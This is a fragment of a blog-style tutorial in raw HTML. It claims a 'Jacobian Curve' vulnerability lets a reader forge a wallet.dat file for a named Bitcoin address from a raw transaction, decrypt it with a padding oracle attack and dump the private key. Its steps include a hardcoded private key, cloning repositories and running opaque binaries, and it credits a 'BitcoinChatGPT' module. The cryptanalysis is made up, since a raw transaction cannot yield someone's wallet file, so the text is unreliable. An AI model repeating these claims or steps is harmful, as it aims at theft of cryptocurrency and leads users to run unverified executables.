Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-11-1024x66.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5690\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/KEYFOUND.privkey\"\u003ehttps://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/KEYFOUND.privkey\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://youtu.be/eqQw4vY4RmI\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoinChatGPT №4 Jacobian Curve Vulnerability Algorithm\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cfigure class=\"wp-block-embed is-type-rich\"\u003e\u003cdiv class=\"wp-block-embed__wrapper\"\u003e\nhttps://youtube.com/watch?v=eqQw4vY4RmI%3Fsi%3D_K8iv4RhVJesD53I\n\u003c/div\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://www.youtube.com/watch?v=eqQw4vY4RmI\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-32.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5813\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eVulnerable\u0026nbsp;\u0026nbsp;\u003cstrong\u003eRaw\u003c/strong\u003e\u0026nbsp;\u0026nbsp;Transaction\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s create a vulnerable Raw transaction from the received data using the\u0026nbsp;\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/smartibase/Broadcast-Bitcoin-Transaction\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBroadcast Bitcoin Transaction repository\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eDownload and install the source code, open the terminal and run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003egit clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git\n\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eCatalog:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003ecd Broadcast-Bitcoin-Transaction\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s install three important libraries:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cul class=\"wp-block-list\"\u003e\n\u003cli\u003e\u003ca href=\"https://pypi.org/project/zmq/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ezmq\u003c/strong\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003ca href=\"https://pypi.org/project/urllib3/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eurllib3\u003c/strong\u003e\u003c/a\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003ca href=\"https://pypi.org/project/requests/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003erequests\u003c/strong\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-8-1024x495.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-4733\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/smartibase/Broadcast-Bitcoin-Transaction/blob/main/requirements.txt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003erequirements.txt\u003c/strong\u003e\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003epip install -r requirements.txt\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the main file in\u0026nbsp;\u003ca href=\"https://keyhunters.ru/the-benefits-of-the-popular-notepad-program/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eNotepad\u0026nbsp;\u003c/a\u003e\u003ca href=\"https://keyhunters.ru/the-benefits-of-the-popular-notepad-program/\"\u003e++\u003c/a\u003e\u0026nbsp;and make a small change to the Python Script code:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/smartibase/Broadcast-Bitcoin-Transaction/blob/main/main.py\" target=\"_blank\" rel=\"noreferrer noopener\"\u003emain.py\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003efrom io import BytesIO\nfrom secp256k1 import *\nfrom sighash import *\n\npk = PrivateKey.parse(\"5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP\")\npk.address()\ntx = bytes.fromhex(\"35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d\")\nindex = 0\nsend = \"15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\"\ntx_in = TxIn(tx, index, b'', 0xffffffff)\ntx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']\ntx_in._value = 2345\ntx_ins = [ tx_in ]\ntx_outs = [\n    TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())\n]\ntx = Tx(1, tx_ins, tx_outs, 0, testnet=True)\nsignature(tx, 0, pk)\ntx.serialize().hex()\nprint(tx.serialize().hex())\nf = open(\"RawTX.txt\", 'w')\nf.write(\"\" + tx.serialize().hex() + \"\" + \"\\n\")\nf.close()\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003epython main.py\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://www.youtube.com/watch?v=8B2LKMBsVSE\"\u003eVulnerable transaction created\u0026nbsp;\u003c/a\u003e\u003ca href=\"https://www.youtube.com/watch?v=8B2LKMBsVSE\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e!\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s open the RawTX file in the directory:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eThe order of actions in the video:\u003c/h2\u003e\n\n\n\n\u003cfigure class=\"wp-block-embed is-type-rich\"\u003e\u003cdiv class=\"wp-block-embed__wrapper\"\u003e\nhttps://youtube.com/watch?v=8B2LKMBsVSE%3Fsi%3DrbDN3TZpCcyIbefR\n\u003c/div\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://www.youtube.com/watch?v=8B2LKMBsVSE\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-33.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5815\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cem\u003eAs we know from\u0026nbsp;\u003ca href=\"https://keyhunters.ru/what-is-prompt-answers-and-how-is-it-related-to-machine-learning-and-artificial-intelligence/\"\u003ethe prompt responses of the\u0026nbsp;\u003c/a\u003e\u003ca href=\"https://colab.research.google.com/drive/17PN1uHeeGhQFTKRx6s8OS3YftgxNvQzd\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eBitcoinChatGPT\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;module\u0026nbsp;, the Jacobian Curve Vulnerability Algorithm can be used to solve complex cryptographic problems.\u003c/em\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://github.com/smartibase/Smart-Transformers\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSmart Transformers\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://github.com/smartibase/Smart-Transformers\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eWe will apply Smart Transformers\u003c/a\u003e\u0026nbsp;machine learning\u0026nbsp;, integrate the notebook\u0026nbsp;\u003ccode\u003eGoogle Colab\u003c/code\u003ewith\u0026nbsp;\u003ca href=\"https://keyhunters.ru/pytorch-tensorflow-and-jax-powerful-tools-for-deep-learning/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ePytorch, TensorFlow, JAX\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;and using the obtained data of the vulnerable\u0026nbsp;\u003cstrong\u003eRaw\u003c/strong\u003e\u0026nbsp;transaction for Bitcoin Address:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;we will create an unprotected\u0026nbsp;\u003cstrong\u003ewallet.dat\u003c/strong\u003e\u0026nbsp;file from the proposed choice of all existing algorithms from\u0026nbsp;\u003ca href=\"https://github.com/smartibase/Smart-Transformers\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSMART_IDENTIFY\u003c/a\u003e\u0026nbsp;. Then we will perform\u0026nbsp;\u003ca href=\"https://exploitdarlenepro.com/15gcfqvj68vyuvdb6e3vdu4itktc3htlq2/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003ea Padding Oracle Attack\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;on the newly created file:\u0026nbsp;\u003cstrong\u003ewallet.dat\u003c/strong\u003e\u0026nbsp;to decrypt the password into the original binary format in order to obtain and extract the private key from the\u0026nbsp;\u003cstrong\u003eBitcoin Core\u003c/strong\u003e\u0026nbsp;software console using the standard command:\u003cstrong\u003e\u003ccode\u003edumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s open a new\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://colab.research.google.com/#create=true\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eGoogle Colab\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;notebook using the link:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://colab.research.google.com/#create=true\"\u003ehttps://colab.research.google.com/#create=true\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eClone the\u0026nbsp;\u003ca href=\"https://github.com/smartibase/Smart-Transformers\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSmart Transformers repository\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e!git clone https://github.com/smartibase/Smart-Transformers.git\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003ecd Smart-Transformers/\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-12-1024x49.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5706\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s install all the necessary packages and libraries:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e!sudo apt-get update\n!sudo apt install libtool\n!sudo apt-get install g++\n!python setup.py --help\n!sudo apt-get install libgmp3-dev libmpfr-dev\n!chmod +x Generic_Algorithms\n!./Generic_Algorithms\n!pip3 install transformers\nfrom transformers import AutoModelForCausalLM, AutoTokenizer\nmodel_name = \"microsoft/DialoGPT-medium\"\ntokenizer = AutoTokenizer.from_pretrained(model_name)\nmodel = AutoModelForCausalLM.from_pretrained(model_name)\nmodel = model.cpu()\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-13-1024x43.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5708\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-12-1024x30.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-4799\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eTeam:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003els -S\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-14.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5709\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s add our vulnerable\u0026nbsp;\u003cstrong\u003eRaw\u003c/strong\u003e\u0026nbsp;transaction to a text document:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/RawTX.txt\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRawTX.txt\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;for this we will use the utility\u003ccode\u003eecho\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000' \u0026gt; RawTX.txt\u003c/strong\u003e\n\n\u003cstrong\u003e!cat RawTX.txt\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-14-1024x95.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-4812\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eNow, to get the exact algorithm and method for cryptanalysis we need to identify the vulnerable\u0026nbsp;\u003cstrong\u003eRawTX\u003c/strong\u003e\u0026nbsp;using the\u0026nbsp;\u003cstrong\u003eSMART_IDENTIFY\u003c/strong\u003e\u0026nbsp;utility .\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e!./SMART_IDENTIFY\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eAs a result, we get the\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://bitcoinchatgpt.org/jacobian-curve-vulnerability-algorithm\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian_Curve_Algorithm\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;method , in earlier studies the same thing was identified by the\u0026nbsp;\u003ca href=\"https://www.youtube.com/watch?v=eqQw4vY4RmI\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eBitcoinChatGPT\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;module .\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e#################################################\n\nJacobian_Curve_Algorithm\n\n#################################################\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-16-1024x39.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5712\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s open the catalog:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-17-RED.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5715\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eLet’s start the process of creating the wallet.dat\u003c/strong\u003e\u0026nbsp;file .\u0026nbsp;For this, we use the identified data of the vulnerable\u0026nbsp;\u003cstrong\u003eRaw\u003c/strong\u003e\u0026nbsp;transaction in the file:\u0026nbsp;\u003cstrong\u003eRawTX.txt.\u003c/strong\u003e\u0026nbsp;For the process, we apply the\u0026nbsp;\u003cstrong\u003eJacobian_Curve_Algorithm utility.\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003e!./Jacobian_Curve_Algorithm -o RawTX.txt -s wallet.dat\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-18-1024x42.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5716\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-19-1024x32.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5717\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s open the directory in the left panel\u0026nbsp;\u003ccode\u003eGoogle Colab\u003c/code\u003eand see the file:\u0026nbsp;\u003cstrong\u003e\u003ccode\u003ewallet.dat\u003c/code\u003e\u003c/strong\u003eSuccessfully created!\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-20-RED.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5721\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-22.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5720\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eDownload and Install Bitcoin Core 0.18.0\u0026nbsp;\u003ca href=\"https://bitcoincore.org/bin/bitcoin-core-0.18.0\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://bitcoincore.org/bin/bitcoin-core-0.18.0\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cfigure class=\"wp-block-embed is-type-rich\"\u003e\u003cdiv class=\"wp-block-embed__wrapper\"\u003e\nhttps://youtube.com/watch?v=LTzMQPstvpM%3Fsi%3DjAapqzHiuRlmFVsP\n\u003c/div\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://www.youtube.com/watch?v=LTzMQPstvpM\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-34.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5818\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s open the console and run the command:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\n\u003cstrong\u003egetaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/strong\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-23-1024x67.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5729\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eWe see that the file:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/bitcoin-core-wallet-and-the-importance-of-the-wallet-dat-file/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ewallet.dat\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;belongs to the Bitcoin Address:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003eFile: wallet.dat is encrypted with a 